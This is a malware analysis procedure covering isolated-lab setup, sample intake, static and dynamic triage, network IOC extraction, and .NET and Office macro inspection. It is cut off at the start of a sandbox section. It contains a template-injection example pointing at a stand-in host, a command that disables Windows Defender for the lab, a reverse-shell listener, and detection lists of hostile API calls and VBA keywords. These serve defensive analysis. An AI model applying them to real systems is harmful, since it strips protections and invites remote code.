Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

Malware Analysis SOP

Authorized environments only. This SOP handles live malicious code. Detonate and analyze samples only inside an isolated, disposable lab VM (never on an analyst host, never with a route to production or personal accounts), and only under written authorization covering the samples, the lab perimeter, and what may be shared afterwards. Cross-references: Legal & Ethics for the legal framework, OPSEC Plan for lab isolation and sample-handling discipline.

Table of Contents​

  1. Quick Mode
  2. Scope & Principles
  3. Safety & OPSEC Pre-Flight Checklist
  4. Intake & Chain of Custody
  5. Rapid Triage (Static Analysis)
  6. Behavior Analysis (Dynamic, In-Lab Only)
  7. Artefact Extraction & Normalization
  8. Specialized File Analysis
  9. Classification & TTP Mapping
  10. IOCs & Detection Engineering
  11. Reporting & Documentation
  12. Advanced Techniques
  13. QA & Peer Review
  14. Extended Reference Resources

Quick Mode​

One screen for an operator already mid-task. Every line points at the section that actually tells you how. This is an order-of-operations aid, not a substitute for the procedure.

Before the sample is opened

  • Analysis authorised and in scope — §0
  • Isolated lab up, no host shares, network posture decided — §1
  • Sample hashed, sealed and logged on intake — §2

Analysis, in this order

  • Static first: type, hashes, strings, imports, packing — §3
  • Dynamic only after static, only in the lab — §4
  • Document, script or archive? take the file-type pass — §6
  • Normalise what you extracted before you reason about it — §5

Before anything leaves the lab

  • Classified and mapped to ATT&CK — §7
  • IOCs and detection logic written — §8
  • Peer review done — §11
  • Report scrubbed of victim-identifying detail, disclosure path agreed — §9

Stop and escalate — do not keep analysing

  • CSAM, terrorism financing, threat-to-life payloads, critical-infrastructure malware → Sensitive Crime Intake & Escalation
  • Sample outside the authorised scope, or detonation was never authorised → back to the customer first

0. Scope & Principles​

  • Objective: Analyze suspicious binaries/objects to extract IOCs, assess behavior, and assist containment/detection.
  • Execution Environment: Use only isolated, disposable VM snapshots (no host execution). No clipboard or drag‑and‑drop. Prefer offline analysis or simulated internet (INetSim/DNS sinkhole).
  • Legal Notice: If evidence of child safety concerns or imminent harm arises, stop immediately. Collect metadata and follow Sensitive Crime Escalation procedures.
  • Confidentiality: Treat all outputs/samples as sensitive. Share on a need-to-know basis only. Label clearly (e.g., MALWARE / DO-NOT-TOUCH).

1. Safety & OPSEC Pre-Flight Checklist​

  • Use VM snapshot (clean, no shared folders/network, no host time sync).
  • Use analysis persona (no personal/org credentials).
  • Hostname, username, timezone must be non-attributable.
  • No real internet. Simulated network only (e.g., INetSim).
  • Tooling integrity: Verify hashes before installation; use only approved tools.
  • Encrypt artefacts and label with warnings when transporting.
  • Avoid uploading binaries to public services. Prefer hash-only queries.

Lab Environment Setup​

VMware/VirtualBox Configuration:

# Recommended VM specifications
- OS: Windows 10/11 or REMnux/FlareVM
- RAM: 4GB minimum (8GB preferred)
- Disk: 60GB thin provisioned
- Network: Host-only or NAT with INetSim
- Snapshots: Take "Clean State" before each analysis

# Disable shared features
- Shared folders: OFF
- Clipboard sharing: OFF
- Drag and drop: OFF
- Time synchronization: OFF
- Guest additions: Minimal/None

INetSim Setup (Simulated Internet):

# Install INetSim (Linux-based) [verify 2026-10-18]
sudo apt install inetsim

# Configure /etc/inetsim/inetsim.conf [verify 2026-10-18]
service_bind_address 0.0.0.0
dns_default_ip 192.168.56.1
https_bind_port 443
http_bind_port 80

# Start INetSim
sudo inetsim

# Configure VM to use INetSim as DNS
# Set DNS server to INetSim host IP (e.g., 192.168.56.1)

FlareVM Installation (Windows Analysis):

# Pre-install (analysis VM only): turn off Tamper Protection in the Windows Security app first
# (while it is on, real-time protection can't be turned off), then disable Defender, preferably via Group Policy [verify 2026-10-18]
Set-MpPreference -DisableRealtimeMonitoring $true

# Run as Administrator: download, unblock, allow scripts, install (FLARE-VM README order) [verify 2026-10-18]
Invoke-WebRequest https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1 -OutFile install.ps1
Unblock-File .\install.ps1
Set-ExecutionPolicy Unrestricted -Force
.\install.ps1

REMnux Installation (Linux Malware Analysis):

# Download REMnux OVA, or add REMnux to an existing Ubuntu 24.04 system (addon mode) [verify 2026-10-18]
curl -O https://REMnux.org/remnux
chmod +x remnux
sudo mv remnux /usr/local/bin
sudo remnux install --mode=addon

# Update tools: re-run the installer as a regular, non-root user [verify 2026-10-18]
remnux install

2. Intake & Chain of Custody​

Sample Acquisition & Metadata Collection​

  1. Assign identifiers:

    case_id: CASE-2025-1005-001
    sample_id: SAM-20251005-1430-001
  2. Log acquisition metadata:

    • Source (email attachment, endpoint, URL, upload)
    • Timestamp (UTC)
    • Submitter name and contact
    • Original filename and path
    • Context (incident ticket, alert ID, user report)
  3. Calculate file hashes:

    # Linux/macOS
    sha256sum sample.exe
    sha1sum sample.exe
    md5sum sample.exe

    # Windows (PowerShell) [verify 2026-10-18]
    Get-FileHash sample.exe -Algorithm SHA256
    Get-FileHash sample.exe -Algorithm SHA1
    Get-FileHash sample.exe -Algorithm MD5

    # All at once (PowerShell) [verify 2026-10-18]
    @('SHA256', 'SHA1', 'MD5') | ForEach-Object { Get-FileHash sample.exe -Algorithm $_ }
  4. Store original in evidence vault:

    # Create case structure
    mkdir -p /evidence/CASE-2025-1005-001/{intake,binaries,static,dynamic,artifacts,iocs,detections,report}

    # Copy with hash verification
    cp sample.exe /evidence/CASE-2025-1005-001/intake/SAM-20251005-1430-001.bin
    sha256sum /evidence/CASE-2025-1005-001/intake/SAM-20251005-1430-001.bin

    # Create password-protected archive (password: infected)
    7z a -pinfected -mhe=on /evidence/CASE-2025-1005-001/intake/SAM-20251005-1430-001.7z sample.exe
  5. Extract email headers (if applicable):

    # Save .eml file and extract headers
    grep -E "^(From|To|Subject|Date|Received|Return-Path|X-|Message-ID):" sample.eml > headers.txt

    # Extract attachments with munpack (mpack package) [verify 2026-10-18]
    munpack -t sample.eml
  6. VirusTotal hash lookup (no upload):

    # Using VT CLI (requires API key) [verify 2026-10-18]
    vt file <SHA256_HASH>

    # Manual lookup
    # https://www.virustotal.com/gui/file/<SHA256_HASH>

Chain of Custody Form​

| Field | Value |
|--------------------|------------------------------------|
| Case ID | CASE-2025-1005-001 |
| Sample ID | SAM-20251005-1430-001 |
| Filename | invoice_2025.exe |
| SHA256 | a1b2c3d4e5f6... |
| Acquisition Date | 2025-10-05 14:30:00 UTC |
| Source | Email attachment (phishing report) |
| Submitter | John Doe (john.doe@example.com) |
| Custodian | Analyst Name |
| Storage Location | /evidence/CASE-2025-1005-001/ |
| Access Log | See access_log.txt |

3. Rapid Triage (Static Analysis)​

3.1 File Identification & Packing​

Identify file type:

# Linux
file sample.bin
file -b sample.bin # Brief output

# Check magic bytes manually
xxd sample.bin | head
hexdump -C sample.bin | head

# Windows (PowerShell with TrID)
trid sample.bin

PE file analysis (Windows executables):

# Using pestudio (Windows GUI)
pestudio.exe sample.exe

# Using pefile (Python)
python -c "import pefile; pe = pefile.PE('sample.exe'); print(pe.dump_info())"

# Check sections for packing indicators
# VirtualSize >> RawSize = likely packed
peframe sample.exe | grep -A 10 "Sections"

# Common packer section names
# UPX0, UPX1, UPX2 → UPX packer
# .aspack → ASPack
# .petite → PETite
# .ndata → NSIS installer (Nullsoft Scriptable Install System) [verify 2026-10-18]

PE metadata extraction:

# Using exiftool
exiftool sample.exe | grep -E "(FileDescription|CompanyName|OriginalFilename|LegalCopyright|ProductName)"

# Check digital signature
sigcheck -a sample.exe # Sysinternals [verify 2026-10-18]

# Extract timestamp (can be forged)
peframe sample.exe | grep "Timestamp"

# Check for overlay data (appended after PE sections)
# If file size > sum of section sizes → overlay exists

Unpacking (if safe):

# UPX unpacking [verify 2026-10-18]
upx -d sample.exe -o sample_unpacked.exe

# Check entropy (high entropy = encrypted/packed)
peframe sample.exe | grep "Entropy"

# Manual unpacking requires debugger (x64dbg/IDA Pro)
# Set breakpoint on: VirtualAlloc, VirtualProtect, CreateProcess

ELF file analysis (Linux binaries):

# File type
file sample.bin

# ELF header info
readelf -h sample.bin

# Section headers
readelf -S sample.bin

# Program headers
readelf -l sample.bin

# Check for UPX in ELF
readelf -S sample.bin | grep UPX

# Unpack ELF UPX [verify 2026-10-18]
upx -d sample.bin -o sample_unpacked.bin

3.2 Strings & Imports​

String extraction (obfuscated and plaintext):

# FLARE Obfuscated String Solver (FLOSS) - best for malware
floss sample.exe > floss_output.txt
floss --no-string-type static -- sample.exe # Skip static strings (decoded/stack/tight only) [verify 2026-10-18]
floss -n 8 sample.exe # Minimum string length of 8 [verify 2026-10-18]

# Traditional strings (fallback) [verify 2026-10-18]
strings -a -n 8 sample.exe > strings.txt
strings -el sample.exe # UTF-16LE (Windows Unicode) [verify 2026-10-18]

# Search for specific patterns
grep -E "https?://" floss_output.txt # URLs
grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" floss_output.txt # IP addresses
grep -i "user-agent" floss_output.txt
grep -i "password\|username\|token" floss_output.txt

Specific indicators to extract:

# URLs and domains
grep -oE "(http|https)://[a-zA-Z0-9./?=_%:-]*" floss_output.txt | sort -u

# IP addresses
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" floss_output.txt | sort -u

# Registry keys
grep -i "hkey\|hklm\|hkcu\|software\\\\microsoft" floss_output.txt

# Mutexes (process synchronization objects)
grep -i "mutex\|global\\\\" floss_output.txt

# File paths
grep -E "C:\\\\|\\\\Windows\\\\|\\\\AppData\\\\|\\\\ProgramData\\\\" floss_output.txt

# Base64 encoded data (look for long alphanumeric strings ending in =)
grep -oE "[A-Za-z0-9+/]{40,}={0,2}" floss_output.txt

# PDB paths (reveal development environment)
grep -i "\.pdb" floss_output.txt

# Common crypto libraries
grep -i "advapi32\|bcrypt\|crypt32\|wincrypt" floss_output.txt

# Email addresses
grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" floss_output.txt

Import/Export analysis (PE files):

# Using peframe
peframe sample.exe | grep -A 50 "Imported Functions"
peframe sample.exe | grep -A 20 "Exported Functions"

# Using pefile (Python)
python -c "import pefile; pe = pefile.PE('sample.exe'); print('\\n'.join([e.dll.decode() + ' -> ' + f.name.decode() for e in pe.DIRECTORY_ENTRY_IMPORT for f in e.imports if f.name]))"

# Using objdump (Linux)
objdump -p sample.exe | grep "DLL Name"

# Dangerous import functions to flag
# Network: URLDownloadToFile, InternetOpen, InternetConnect, send, recv, WSAStartup
# Process: CreateProcess, ShellExecute, WinExec, CreateRemoteThread
# Injection: VirtualAlloc, VirtualAllocEx, WriteProcessMemory, NtQueueApcThread
# Persistence: RegSetValue, CreateService, SetWindowsHookEx
# Crypto: CryptEncrypt, CryptDecrypt, CryptAcquireContext
# Anti-analysis: IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess

ELF imports (Linux binaries):

# List imported libraries
ldd sample.bin

# List imported symbols
nm -D sample.bin

# Check for dangerous functions
nm -D sample.bin | grep -E "(system|exec|fork|ptrace|socket|connect)"

# Disassemble imports section
objdump -T sample.bin

3.3 Capability Detection​

CAPA (Mandiant Capability Analysis):

# Run CAPA with default rules [verify 2026-10-18]
capa sample.exe

# Output to file
capa sample.exe > capa_report.txt

# Verbose output with offsets [verify 2026-10-18]
capa -v sample.exe

# JSON output for parsing [verify 2026-10-18]
capa -j sample.exe > capa_report.json

# Analyze unpacked sample
capa sample_unpacked.exe

Key capabilities to flag:

CapabilityIndicatorsMITRE ATT&CK
Network CommunicationURLDownloadToFile, InternetOpen, send, recv, WSAStartupT1071 [verify 2026-10-18]
Process InjectionVirtualAllocEx, WriteProcessMemory, CreateRemoteThreadT1055 [verify 2026-10-18]
Code ExecutionCreateProcess, ShellExecute, WinExec, system()T1059 [verify 2026-10-18]
PersistenceRegSetValue, CreateService, SetWindowsHookEx, WMIT1547, T1053 [verify 2026-10-18]
Credential AccessLsaEnumerateLogonSessions, CredEnumerate, SamIConnectT1003 [verify 2026-10-18]
StealthIsDebuggerPresent, VirtualProtect, SetThreadContextT1140, T1622 [verify 2026-10-18]
Encryption/EncodingCryptEncrypt, CryptDecrypt, Base64 decodeT1027
KeyloggingSetWindowsHookEx (WH_KEYBOARD), GetAsyncKeyStateT1056.001 [verify 2026-10-18]
Screen CaptureBitBlt, GetDC, CreateCompatibleBitmapT1113 [verify 2026-10-18]
File DeletionDeleteFile, SHFileOperation, MoveFileEx (MOVEFILE_DELAY...)T1070.004 [verify 2026-10-18]

Manual capability review (if CAPA unavailable):

# Check for specific WinAPI calls in disassembly
objdump -d sample.exe | grep -i "urldownloadtofile\|internetopen\|createprocess"

# Or use strings to find API names
strings sample.exe | grep -i "createremotethread\|virtualalloc\|writeprocessmemory"

3.4 Multi-Engine Scanning​

Hash-only lookups (preferred - no sample upload):

# VirusTotal CLI (requires API key) [verify 2026-10-18]
vt file <SHA256_HASH>

# Manual lookup URLs
# https://www.virustotal.com/gui/file/<SHA256_HASH>
# https://www.hybrid-analysis.com/search?hash=<SHA256_HASH>
# https://tria.ge/<SHA256_HASH>

# Check MalwareBazaar database (Auth-Key header required) [verify 2026-10-18]
curl -X POST https://mb-api.abuse.ch/api/v1/ -H "Auth-Key: $ABUSECH_AUTH_KEY" -d "query=get_info&hash=<SHA256_HASH>"

# Check ThreatFox IOC database (Auth-Key header required) [verify 2026-10-18]
curl -X POST https://threatfox-api.abuse.ch/api/v1/ -H "Auth-Key: $ABUSECH_AUTH_KEY" -d '{"query":"search_hash","hash":"<SHA256_HASH>"}'

Local/offline AV scanning (if available):

# ClamAV (open-source) [verify 2026-10-18]
clamscan -r --bell -i sample.exe

# Update signatures first
freshclam

# YARA scanning with community rules (syntax: yara [OPTIONS] RULES_FILE TARGET) [verify 2026-10-18]
yara /path/to/yara-rules/rules.yar sample.exe

Detection name analysis: If VirusTotal shows detections, analyze vendor names:

  • Trojan.Generic → Generic heuristic detection
  • Trojan.Agent → Unknown malware family
  • Win32.Emotet.A → Specific family (Emotet) and variant (A)
  • Ransom.Lockbit → Ransomware family (Lockbit)
  • PUA / PUP → Potentially Unwanted Application/Program
  • Packed.VMProtect → Packer/protector detection

3.5 Packed Sample Handling​

When entropy is high, imports are sparse, and section names look unfamiliar, the sample is almost certainly packed or protected. Static analysis on the packed binary yields almost nothing — pivot to identification, then either unpack statically (UPX-class) or capture the unpacked image during dynamic analysis (commercial protectors).

Quick signals that a sample is packed:

  • Entropy > 7.0 overall, or any individual section > 6.8.
  • Import table very small, or limited to LoadLibrary / GetProcAddress / VirtualAlloc / VirtualProtect (runtime-resolution pattern).
  • Section names match known packer fingerprints (table below).
  • Section characteristics — executable section with no readable strings, or a single oversized section combining code and data.
  • PE anomalies — entry point outside the first section, missing .text/.rsrc, unusually small code section, large overlay.

Common packers and reversibility:

Packer / ProtectorSection / Signature IndicatorsStatic unpacking?
UPXUPX0 / UPX1 / UPX2 sections, UPX! magic in overlayYes — upx -d sample.exe
ASPack.aspack section, aSPack string, low import countPartially — community tools
MPRESS.MPRESS1 / .MPRESS2, LZMA-compressed bodyPartially — community tools
Themida / WinLicense.themida / .winlicen sections, virtualized code, heavy anti-debugNo — requires dynamic dump
VMProtect.vmp0 / .vmp1 sections, custom VM bytecode, anti-tamperNo — requires dynamic dump
Enigma Protector.enigma1 / .enigma2, license-check stubsNo — requires dynamic dump
Custom / unknownUnknown section names, high entropy, minimal importsNo — dynamic + manual

Workflow when packing is detected:

  1. Identify the packer with Detect It Easy (DIE), pestudio, or ExeinfoPE. Record the packer name and per-section entropy in the triage notes.
  2. Try UPX first if signatures match:
    upx -d packed_sample.exe -o unpacked_sample.exe
    sha256sum packed_sample.exe unpacked_sample.exe
  3. Record both hashes. The packed hash is the delivery artifact (use it for VT pivots and IOCs); the unpacked hash often matches a known family.
  4. Re-run §3.2 / §3.3 on the unpacked binary — imports and strings are usually an order of magnitude richer.
  5. For commercial protectors (Themida, VMProtect, Enigma) and custom packers, static unpacking is not viable. Dump the unpacked image during dynamic analysis instead — break on VirtualAlloc(PAGE_EXECUTE_READWRITE) followed by WriteProcessMemory / memcpy into the new region, or use pe-sieve / hollows_hunter against the running PID:
    hollows_hunter.exe /pid <malware_pid> /shellc 3 /data 3
    pe-sieve.exe /pid <malware_pid> /imp 3 /data 3
    Both tools dump suspicious in-memory regions (hollowed sections, RWX shellcode, unpacked PE images) to disk for static analysis.
  6. Sophistication signal. Commercial protectors → Advanced. Custom packer → Advanced / APT-grade. Note this in the report — packer choice is itself an attribution data point.

Tools for packer detection:

ToolNotes
Detect It Easy (DIE)Primary; 300+ packer/compiler signatures, per-section entropy heatmap.
pestudioPE analysis with packer detection + entropy visualization.
PEiDOlder but widely-referenced signature DB; treat as supporting evidence.
ExeinfoPEFills gaps when DIE is inconclusive.
CFF ExplorerManual section / header inspection.

4. Behavior Analysis (Dynamic, In-Lab Only)​

4.1 Monitoring Setup​

Pre-execution checklist:

  • Take clean VM snapshot
  • Verify network is isolated (INetSim active)
  • Start monitoring tools
  • Set up screen recording (optional but recommended)

Process Monitor (Procmon) - Sysinternals:

# Launch Procmon
procmon.exe

# Configure filters to reduce noise:
# Filter -> Process Name -> is -> sample.exe -> Include
# Filter -> Process Name -> is -> rundll32.exe -> Include (if sample uses it)
# Filter -> Operation -> contains -> Reg -> Include (registry operations)
# Filter -> Operation -> contains -> File -> Include (file operations)

# Enable: Show File System Activity, Show Registry Activity, Show Network Activity
# Disable: Show Process and Thread Activity (too noisy)

# Save output after execution
# File -> Save -> All Events -> CSV format

Wireshark (Network Traffic Capture):

# Start capture on adapter connected to INetSim
wireshark -i eth0 -k

# Apply display filter for analysis
# DNS queries: dns
# HTTP traffic: http
# TLS/SSL: tls
# Specific IP: ip.addr == 192.168.56.101

# Save PCAP after execution
# File -> Save As -> sample_traffic.pcapng

System Informer (Process & Memory Analysis):

Formerly Process Hacker — renamed to System Informer in 2022 and now maintained by Winsider Seminars & Solutions. [verify 2026-10-18] Use the SystemInformer.exe build from the official repo (https://github.com/winsiderss/systeminformer).

# Launch System Informer as Administrator
SystemInformer.exe

# Monitor for:
# - New process creation (sample.exe and child processes)
# - Memory allocations (Heap, Private memory)
# - Handles (Files, Registry, Mutexes)
# - Network connections

# To dump process memory:
# Right-click process -> Create dump file

Sysmon (Advanced Windows Logging):

# Install Sysmon with SwiftOnSecurity config [verify 2026-10-18]
sysmon64.exe -accepteula -i sysmonconfig-export.xml

# Download config from:
# https://github.com/SwiftOnSecurity/sysmon-config [verify 2026-10-18]

# View Sysmon logs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Format-List

# Export Sysmon logs [verify 2026-10-18]
wevtutil epl Microsoft-Windows-Sysmon/Operational C:\evidence\sysmon_logs.evtx

Regshot (Registry Comparison):

# Take snapshot before execution
Regshot.exe -> 1st shot

# Execute malware

# Take snapshot after execution
Regshot.exe -> 2nd shot

# Compare and save
Compare -> Output to HTML

Noriben (Automated Procmon Analysis):

# Run Noriben with automatic procmon collection [verify 2026-10-18]
python Noriben.py --cmd sample.exe

# Generates: Noriben_<timestamp>.txt with parsed behavior

4.2 Execution & Observation​

Execute the sample:

# Execute in isolated VM
.\sample.exe

# Or with arguments if required
.\sample.exe --install

# For DLL files, call an export by name (list exports first, §3.2); rundll32 can only call functions written to be called by it [verify 2026-10-18]
rundll32.exe sample.dll,<ExportedFunction>

# For scripts
powershell.exe -ExecutionPolicy Bypass -File sample.ps1
cscript.exe //NoLogo sample.vbs

Track spawned processes:

# PowerShell - monitor process creation
Get-WmiObject Win32_Process | Select-Object ProcessId,Name,CommandLine,ParentProcessId | Format-Table

# WMIC is removed on Windows 11 24H2+; use CIM instead [verify 2026-10-18]
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,CommandLine,ParentProcessId

# Check process tree in System Informer
# View -> Tree view -> Expand sample.exe

Inspect dropped files:

# Find recently created files (last 5 minutes)
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.CreationTime -gt (Get-Date).AddMinutes(-5)}

# Common drop locations to check manually
C:\Users\<user>\AppData\Local\Temp\
C:\Users\<user>\AppData\Roaming\
C:\ProgramData\
C:\Windows\Temp\

# Hash all dropped files
Get-ChildItem -Path C:\Users\<user>\AppData\Local\Temp\ -Recurse | Get-FileHash -Algorithm SHA256

Common persistence mechanisms to check:

LocationCommandTechnique
Registry Run Keysreg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunT1547.001 [verify 2026-10-18]
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Startup Folderdir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"T1547.001 [verify 2026-10-18]
dir "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Scheduled Tasksschtasks /query /fo LIST /vT1053.005 [verify 2026-10-18]
Get-ScheduledTask | Where-Object {$_.TaskName -notlike "Microsoft*"}
COM API used by malware: ITaskService → ITaskFolder::RegisterTaskDefinition (Task Scheduler 2.0; there is no Win32 CreateScheduledTask function)
Watch for unsigned tasks calling out to UNC paths (\\server\share\payload.exe) — common LOLBAS variant
Servicessc queryT1543.003 [verify 2026-10-18]
Get-Service | Where-Object {$_.Status -eq "Running"}
WMI Event SubscriptionGet-WmiObject -Namespace root\Subscription -Class __EventFilterT1546.003 [verify 2026-10-18]
Get-WmiObject -Namespace root\Subscription -Class __EventConsumer
DLL HijackingCheck for unexpected DLLs in application directoriesT1574.001 [verify 2026-10-18]

Inspect mutexes and named objects:

# Using System Informer
# Select process -> Handles tab -> Filter: "Mutant"

# Using Handle.exe (Sysinternals) [verify 2026-10-18]
handle.exe -a -p <PID>

# Common mutex names to flag
# Global\<random_string>
# Local\<random_string>

Check for injection into legitimate processes:

# Look for unusual memory allocations in explorer.exe, svchost.exe, etc.
# System Informer -> Select process -> Memory tab
# Flag RWX (Read-Write-Execute) memory regions

# Dump suspicious memory regions
# Right-click memory region -> Save -> memory_dump.bin

4.3 Network Behavior​

DNS traffic analysis:

# Wireshark display filter for DNS
dns

# Extract DNS queries from PCAP (tshark)
tshark -r sample_traffic.pcapng -Y dns -T fields -e dns.qry.name | sort -u

# Look for:
# - DGA (Domain Generation Algorithm) patterns (long random domains)
# - Known C2 domains
# - Unusual TLDs (.tk, .ml, .ga, .cf)
# - Fast-flux DNS (multiple A records)

HTTP/HTTPS traffic analysis:

# Wireshark filter for HTTP
http

# Extract HTTP requests
tshark -r sample_traffic.pcapng -Y http.request -T fields -e http.host -e http.request.uri

# Extract User-Agent strings
tshark -r sample_traffic.pcapng -Y http -T fields -e http.user_agent | sort -u

# Check for:
# - Suspicious User-Agents (PowerShell, python-requests, curl)
# - C2 beacon patterns (regular intervals)
# - POST requests with encrypted/encoded data
# - Downloads (exe, dll, ps1, vbs files)

TLS/SSL analysis:

# Extract TLS Server Name Indication (SNI) [verify 2026-10-18]
tshark -r sample_traffic.pcapng -Y tls.handshake.extensions_server_name -T fields -e tls.handshake.extensions_server_name | sort -u

# Check certificate details (tls.* since Wireshark 3.0; field names are case-sensitive) [verify 2026-10-18]
tshark -r sample_traffic.pcapng -Y tls.handshake.certificate -T fields -e x509sat.PrintableString

# Flag:
# - Self-signed certificates
# - Unusual certificate issuers
# - Mismatched SNI and certificate CN

Modern covert C2 channels to flag specifically:

  • DNS-over-HTTPS (DoH) tunneling — outbound TLS to cloudflare-dns.com, dns.google, dns.quad9.net, or any host on :443 returning the application/dns-message content type. [verify 2026-10-18] Procmon dns.google resolutions paired with TLS to those IPs from a non-browser process is a strong signal. Capture full PCAP and decrypt with a TLS keylog file (SSLKEYLOGFILE) when possible.
  • Named-pipe C2 — beacons that talk locally over \\.\pipe\<name> to a sibling process (often a hollowed svchost.exe or stomped DLL — see §10.4). System Informer → process → Handles tab → filter Named Pipe makes these visible. Common with Cobalt Strike SMB beacons.
  • Domain fronting — TLS handshake SNI is a popular CDN-hosted hostname (Azure Front Door, Fastly, CloudFront), but the inner HTTP Host: header points to the actual C2. tshark filter tls.handshake.extensions_server_name versus http2.header.value (or post-decryption http.host) reveals the mismatch. [verify 2026-10-18] Most major fronting providers have closed the technique on production tenants but it still appears in older toolkits and self-hosted CDNs.
  • HTTPS with pinned certificates — sample carries the C2 server cert hash in code; INetSim's default self-signed response causes the malware to drop the connection. Symptom is "no traffic after first TLS ClientHello." Workaround: configure mitmproxy with a captured/forged cert, or static-analyze the pinned hash and replace it.

Identify outbound connections:

# Using TCPView (GUI)
tcpview.exe

# Using netstat (command line)
netstat -ano | findstr ESTABLISHED

# Get full connection details
Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Format-Table

# Check for common C2 ports
# 443, 8443 (HTTPS)
# 80, 8080 (HTTP)
# 53 (DNS tunneling)
# 4444, 5555 (Metasploit default)
# 1234, 31337 (backdoors)

Test C2 communication (lab environment only):

# Set up ncat listener to catch reverse shell
ncat -lnvp 4444

# For HTTPS/TLS callbacks
ncat -lnvp 443 --ssl

# Monitor all connection attempts
tcpdump -i any -n -vv

Extract network IOCs:

# List all contacted IPs
tshark -r sample_traffic.pcapng -T fields -e ip.dst | sort -u | grep -v "192.168\|10.0\|127.0.0.1"

# List all contacted domains
tshark -r sample_traffic.pcapng -Y dns -T fields -e dns.qry.name | sort -u

# Extract URLs from HTTP traffic
tshark -r sample_traffic.pcapng -Y http.request -T fields -e http.host -e http.request.uri | awk '{print "http://"$1$2}'

5. Artefact Extraction & Normalization​

  • Collect & rehash dropped files
  • Export:
    • PCAP
    • procmon logs
    • Registry diffs
    • Event logs
    • Screenshots
  • Normalize timestamps to UTC
  • Extract PDB paths & PE metadata
  • Store in structured case folder:
/CASE-<case_id>/
intake/
binaries/
static/
dynamic/
artifacts/
iocs/
detections/
report/

6. Specialized File Analysis​

6.1 .NET/C# Analysis​

.NET detection:

# Check for .NET assembly
file sample.exe | grep "PE32.*Mono/.Net assembly"

# Or use strings
strings sample.exe | grep "mscoree.dll"

# Check assembly info with ildasm (Microsoft IL Disassembler)
ildasm sample.exe

Decompilation with dnSpy:

1. Open sample.exe in dnSpy
2. Navigate Assembly Explorer -> sample.exe -> Namespace -> Class
3. Look for:
- Main() function (entry point)
- Embedded resources (right-click assembly -> Go to Resources)
- Obfuscated strings (base64, XOR, etc.)
- System.Net (HTTP, WebClient, DownloadFile)
- System.Security.Cryptography (AES, DES, RSA)
- System.Reflection (dynamic code loading)
- System.Diagnostics.Process (command execution)
4. Set breakpoints and debug dynamically (Start button)

Decompilation with ILSpy:

# Command-line decompilation [verify 2026-10-18]
ilspycmd sample.exe -o decompiled_output/

# GUI version
ilspy.exe sample.exe

# Look for:
# - Hardcoded IPs/domains in strings
# - Decryption routines
# - Anti-VM checks

Extract embedded resources:

# Using dnSpy
# Right-click Assembly -> Resources -> Save All

# Using ResourceHacker (Windows) [verify 2026-10-18]
ResourceHacker.exe -open sample.exe -save resources.txt -action extract

# Embedded payloads often stored as:
# - Encrypted byte arrays
# - Compressed streams (GZip, Deflate)
# - Base64-encoded strings

.NET deobfuscation:

# de4dot - .NET deobfuscator (repo archived Oct 2020; unmaintained) [verify 2026-10-18]
# It may load the assembly and its dependencies for execution: run only inside the isolated analysis VM [verify 2026-10-18]
de4dot sample.exe -o sample_deobfuscated.exe

# Supported obfuscators include (ConfuserEx is not on the list): [verify 2026-10-18]
# - .NET Reactor
# - Eazfuscator.NET

6.2 Office/Macro Analysis​

Identify macro-enabled documents:

# File extensions with macros
# .docm, .xlsm, .pptm, .doc (legacy), .xls (legacy)

# Detect OLE files
file document.docm
# Output: "Microsoft Word 2007+" (OOXML = ZIP); legacy .doc/.xls → "Composite Document File V2 Document" [verify 2026-10-18]

# Quick check for VBA macros
strings document.docm | grep -i "vba\|macro\|autoopen\|document_open"

Extract macros with oledump.py (Didier Stevens):

# List all streams in OLE file
oledump.py document.docm

# Look for "M" indicator (macros present)
# Example output:
# 1: 114 '\x01CompObj'
# 2: 4096 '\x05DocumentSummaryInformation'
# 3: M 8192 'Macros/VBA/ThisDocument' <- Macro present

# Extract macro from stream 3 [verify 2026-10-18]
oledump.py -s 3 -v document.docm

# Decompress corrupt VBA [verify 2026-10-18]
oledump.py -s 3 --vbadecompresscorrupt document.docm

# Dump all macros to file [verify 2026-10-18]
oledump.py -s 3 -v document.docm > macros.vba

Extract macros with olevba (oletools):

# Analyze and extract VBA macros [verify 2026-10-18]
olevba document.docm

# Show obfuscated strings with their decoded content (Hex, Base64, StrReverse, Dridex, VBA) [verify 2026-10-18]
olevba --decode document.docm

# JSON output
olevba -j document.docm > macros.json

# Look for IOCs (URLs, IPs, file paths)
olevba --decode document.docm | grep -E "http|https|ftp|powershell|cmd|wscript"

Suspicious VBA keywords to flag:

  • AutoOpen, Document_Open, Workbook_Open (Auto-execution)
  • Shell, CreateObject("WScript.Shell") (Command execution)
  • URLDownloadToFile, MSXML2.XMLHTTP (File download)
  • CreateObject("Scripting.FileSystemObject") (File operations)
  • ExecuteStatement, Eval (Dynamic code execution)
  • CallByName (Obfuscation technique)

Inspect .docx/.xlsx structure (ZIP format):

# Extract Office Open XML document
unzip document.docx -d document_extracted/

# Check for template injection (attachedTemplate relationship lives in settings.xml.rels) [verify 2026-10-18]
cat document_extracted/word/_rels/settings.xml.rels | grep -i "attachedTemplate"

# Look for external relationships (template injection) [verify 2026-10-18]
# <Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
# Target="http://malicious.com/template.dotm" TargetMode="External"/>

# Check for embedded objects
ls document_extracted/word/embeddings/

Analyze Excel 4.0 macros (XLM macros):

# XLM macros in .xls files (legacy format)
oledump.py document.xls | grep XL

# Extract XLM formulas with XLMMacroDeobfuscator (pip entry point: xlmdeobfuscator) [verify 2026-10-18]
xlmdeobfuscator --file document.xls

# Or use olevba [verify 2026-10-18]
olevba document.xls --deobf

Dynamic analysis (sandbox execution):

